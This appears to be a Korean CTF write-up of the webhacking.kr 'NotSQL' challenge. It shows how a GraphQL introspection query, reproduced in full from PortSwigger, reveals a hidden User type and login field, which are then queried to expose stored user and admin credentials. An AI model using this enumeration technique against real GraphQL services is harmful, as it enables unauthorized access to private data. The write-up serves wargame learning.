writeups by ch4nsec

[webhacking.kr] NotSQL 풀이

webhacking.kr에서 출제된 NotSQL 문제 풀이

#wargame#webhacking.kr#web#GraphQL

문제 개요

webhackingkr_notsql1

들어가면 두 가지 링크가 나오고

webhackingkr_notsql2

들어가면 이런 식으로 문구와 그림이 나온다.

목표도 모른다. 뭔가 얻을 게 있겠지.

풀이

접근 방식

<script>
function getQueryVar(variable) {
    var query = window.location.search.substring(1);
    var vars = query.split('&');
    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('=');
        if (decodeURIComponent(pair[0]) == variable) {
            return decodeURIComponent(pair[1]);
        }
    }
}
if(!getQueryVar("no")){
  q = `query{
    view{
      no,
      subject
    }
  }`;
  xhr = new XMLHttpRequest();
  xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
  xhr.send();
  res = JSON.parse(xhr.response);
  for(i=0;i<res.data.view.length;i++){
    board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
  }
}
else{
  q = `query{
    view{
      no,
      subject,
      content
    }
  }`;
  xhr = new XMLHttpRequest();
  xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
  xhr.send();
  res = JSON.parse(xhr.response);
  v = res.data.view;
  try{
    parsed = v.find(v => v.no==getQueryVar("no"));
    board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
  }
  catch{
    board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
  }
}
</script>

메인 페이지 스크립트다. no라는 파라미터가 없으면 처음 봤던 것처럼 링크를 띄워주고, 있으면 어떤 query를 통해 가져온 데이터를 띄워준다. query의 처리는 view.php에서 이루어진다. (처음 보는 query였다.)

webhackingkr_notsql3
query의 처리

위에서 제시된 query의 결과가 우측의 응답이다. 이후에 메인 페이지의 no 값에 따라 우측의 결과 중 하나를 가져온다. 문법이고 뭐고 알고 있는 것이 없으니 쿼리를 조금씩 건드려가며 쿼리 구조를 알아보고 있던 찰나

webhackingkr_notsql4

오류가 뜨는 것을 발견했다. 이건 GraphQL이다. GraphQL은 Facebook에서 만든 api용 쿼리 언어인데, 특징으로는 클라이언트가 필요한 데이터 구조를 지정할 수 있고, 서버는 클라이언트가 지정한 구조 그대로 데이터를 반환한다는 점이 있다. 위의 경우는 쿼리 구조가 잘못되어 발생한 오류다.

공격 시나리오

공격 payload는 portswigger를 참고했다.

https://portswigger.net/web-security/graphql

    #Full introspection query

    query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }

GraphQL의 스키마에 대한 정보를 알아내는 query다. 대신 query 구조가 너무 복잡해지므로, query를 조금씩 떼서 시도해보았다.

webhackingkr_notsql5

알 수 없는 무언가가 여러 가지 나왔다. 대신 아까 위에서 발생시킨 오류를 참고로 Board라는 이름을 가진 구조가 존재한다는 것을 확인할 수 있었고, 추측하건대 SQL의 table에 해당하는 역할을 하고 있는 것으로 예상된다. 대신 실제로 table에 해당하는 지는 알 수 없고, 단지 Board라는 이름의 type으로 어떤 데이터가 모여있다는 것만 알 수 있다.

webhackingkr_notsql6

여기서 types 안에 fields라는 내용을 추가했을 때의 결과다. Board라는 type에 no, subject, content라는 이름의 field가 존재한다는 것을 확인할 수 있었다. SQL의 column 역할을 하고있는 것으로 예상할 수 있다. (마찬가지로 구조상 그런 역할만 수행하고 있다는 뜻이다.)

그런데 결과중에 이상한 값을 확인할 수 있었다.

{
	"name":"User_d51e7f78cbb219316e0b7cfe1a64540a",
	"fields":[
		{
			"name":"userid_a7fce99fa52d173843130a9620a787ce"
		},
		{
			"name":"passwd_e31db968948082b92e60411dd15a25cd"
		}
	]
}

애초에 로그인 기능 자체가 구현되어있지 않은 문제인데 회원정보에 관한 데이터가 저장되어 있었다. 이걸 확인해보면 뭔가가 나올 것 같았다.

처음의 쿼리였던 query{view{no, subject, content}}를 기준으로 view{...} 괄호 안쪽은 fields 값들이 들어갈 것이다.

webhackingkr_notsql7

물론 이거로는 안된다. User_d51e7f78cbb219316e0b7cfe1a64540a type에 query가 들어가야 하는데 Board에 들어가고 있다. 그렇다면 view가 뭔가 다른 의미가 있어서 이를 바꿔야하는 것 같다.

아까의 쿼리 결과를 확인해보면 Query라는 type의 field에 view라는 값이 있었다.

webhackingkr_notsql8

여기에서 field는 view와 login_51b48f6f7e6947fba0a88a7147d54152이 존재한다. 그렇다면 기존의 view 자리에 login_51b48f6f7e6947fba0a88a7147d54152을 넣으면 뭔가 나올 것 같다.

webhackingkr_notsql9

test-user의 정보와 admin의 정보가 노출되었고, admin의 비밀번호에서 flag를 찾을 수 있었다.